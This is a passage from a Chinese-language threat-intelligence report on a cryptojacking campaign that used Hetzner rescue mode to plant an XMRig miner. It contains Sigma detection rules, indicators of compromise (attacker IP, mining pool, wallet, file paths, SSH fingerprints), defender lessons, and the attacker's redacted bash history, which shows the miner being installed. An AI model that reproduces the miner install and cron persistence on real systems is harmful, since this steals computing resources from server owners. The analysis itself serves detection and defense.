    selection_args:
        CommandLine|contains:
            - '.bench.json'
            - '--threads='
            - 'supportxmr'
    condition: selection_name or selection_args
level: critical
tags:
    - attack.impact
    - attack.t1496
    - attack.defense_evasion
    - attack.t1036.005

title: XMRig Restore Persistence via Crontab
id: b2c3d4e5-6789-0abc-def1-234567890bcd
status: experimental
description: Detects crontab-based XMRig persistence mechanism
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - 'xmrig-restore'
            - 'restore.sh'
            - 'install_bench.sh --silent'
    condition: selection
level: high
tags:
    - attack.persistence
    - attack.t1053.003

十四、入侵指标IoC

14.1 网络入侵指标

| 类型 | 值 | 上下文 | | — | — | — | | 攻击者 IP | 82.162.122.144 | SSH 登录源（俄罗斯，Vladivostok） | | 矿池地址 | pool.supportxmr.com:443 | TLS 加密的 Stratum 协议 | | 矿池 IP | 141.95.72.60 | OVH GmbH， 德国 |

14.2 文件入侵指标

| 类型 | 值 | | — | — | | SHA256（XMRig 二进制文件） | 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46 | | 构建 ID | 7957727edae3fe27250377f345994aa2ba7f5143 | | 二进制文件路径 | /root/.system-cache/systemd-bench | | 配置文件路径 | /root/.system-cache/.bench.json | | 安装程序路径 | /etc/xmrig-restore/install_bench.sh | | 恢复脚本路径 | /etc/xmrig-restore/restore.sh | | 配置备份路径 | /etc/xmrig-restore/config.env | | PID 文件路径 | /var/run/.bench.pid | | 状态工具路径 | /usr/local/bin/miner-status | | 停止工具路径 | /usr/local/bin/miner-stop | | VPN 配置路径 | /opt/remnanode/docker-compose.yml |

14.3 SSH 密钥入侵指标

| 密钥 | 指纹 | 上下文 | | — | — | — | | 控制台密钥 | MD5: 4c:4a:c8:1c:a7:e3:12:15:99:65:77:f1:3b:ab:ad:b4 | Hetzner 控制台中的 “sanya-key” | | 操作密钥 | SHA256: po9SzNdFeZY77d5wLNkx80bjjyF+bn2wveAS2j60zek | 被注入到 authorized_keys 文件中 |

14.4 门罗币钱包

4ABnCJEm7Umfip66JRPJ35JtdDkM6BWrA1JqXMDMfQaVVxECJS584THY6cm4y6STLDW9H5fAGoCpebvYrj3PKWy6DiXd75r

14.5 进程入侵指标

| 指标 | 值 | | — | — | | 进程名称 | systemd-bench | | 启动参数 | --config=.bench.json --threads=2 | | CPU 模式 | 每个配置的线程占用约 100% CPU | | 内存占用 | ~250-300 MB（RandomX 数据集） | | 矿工名称 | work{N}_{suffix} 模式 |

十五、结论

本次攻击活动揭示了云基础设施面临的不断演变的威胁。攻击者利用的是云控制平面而非客户机操作系统，这使得传统的主机级安全措施失效。窃取的凭据、API级别的访问权限以及虚拟机监视器（hypervisor）功能（救援模式）的组合，提供了一条无论多么严格的SSH加固、防火墙规则或入侵检测都无法阻止的入侵路径。

给防御者的关键启示：

1. 1. 云账户凭据是新的安全边界。保护云控制台访问的严格程度应与保护root SSH密钥相当。切勿将密码和TOTP种子存储在同一个密码库中。
2. 2. API 令牌可以绕过双因素认证。云 API 令牌提供直接、无需二次验证的 API 访问。应将其视为 root 凭据——定期轮换、授予最小权限，且切勿硬编码在源代码文件中。
3. 3. 监控控制平面，而不仅仅是数据平面。救援模式激活、SSH密钥上传和API令牌创建应立即触发警报。这些操作在正常运维中很少使用。
4. 4. 硬件安全密钥（FIDO2/WebAuthn）可以防止凭据被盗。与TOTP种子不同，硬件密钥无法被信息窃取恶意软件窃取或在凭据市场上出售。
5. 5. 多层持久化需要多层清理。仅终止矿工程序而不移除cron定时任务和/etc/xmrig-restore/目录，将导致30分钟内自动重新安装。
6. 6. 矿池仪表盘是情报金矿。公共矿池API可以揭示攻击活动的规模、矿工分类、地理分布和财务指标——所有这些都无需访问攻击者的基础设施。

较低的 OPSEC 和使用现成工具表明，这是一个受经济利益驱动的个人或小团体，而非高级持续性威胁。然而，这种云控制平面利用技术可以被更老练的攻击者复用，而根本的漏洞——将双因素认证降级为单因素认证的凭据存储实践——影响着所有行业的组织。

附录 A：完整攻击者 Bash History 记录（已脱敏）

1975  htop
1976  mkdir -p /opt/remnanode && cd /opt/remnanode
1977  nano docker-compose.yml
1978  docker compose up -d
1979  modprobe tcp_bbr
1980  echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
1981  echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
1982  sysctl -p
1983  # "BBR включен успешно!" (BBR enabled successfully!)
1984-1992  ufw allow 2222/8443/3443/443/58888 && ufw reload
1993  htop
1994  mkdir -p /root/.system
1995  cd /root/.system
1996  nano install_bench.sh
1997  # (pasted 806-line installer)
1998  chmod +x install_bench.sh
1999  # (selected: XMRig 6.25.0, 2 threads, worker "work232_web")
2000  ./install_bench.sh

附录 B：RemnaWave Docker Compose 配置（已脱敏）

services:
  remnawave-node:
    image: remnawave/node:latest
    network_mode: host
    restart: always
    environment:
      - APP_PORT=2222
&nbsp; &nbsp; &nbsp; -&nbsp;SECRET_KEY=<REDACTED&nbsp;—&nbsp;base64-encoded&nbsp;connection&nbsp;key>
&nbsp; &nbsp; volumes:
&nbsp; &nbsp; &nbsp; -&nbsp;remnawave-node-data:/app/data
volumes:
&nbsp; remnawave-node-data:

本报告发布用于威胁情报共享和防御目的。所有入侵指标均来自真实事件。提供的门罗币钱包、SSH密钥和IP地址旨在使其他受影响组织能够进行检测和交叉关联。

引用链接

[1] 《Anatomy of a Cloud Cryptojacking Campaign: XMRig via Hetzner Rescue Mode with Multi-Layer Persistence》: https://innora.ai/zh/blog/cloud-cryptojacking-xmrig-hetzner-rescue-mode-analysis

交流群

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：云原生安全指北 Dubito Dubito《云加密劫持案例：利用Hetzner救援模式注入XMRig》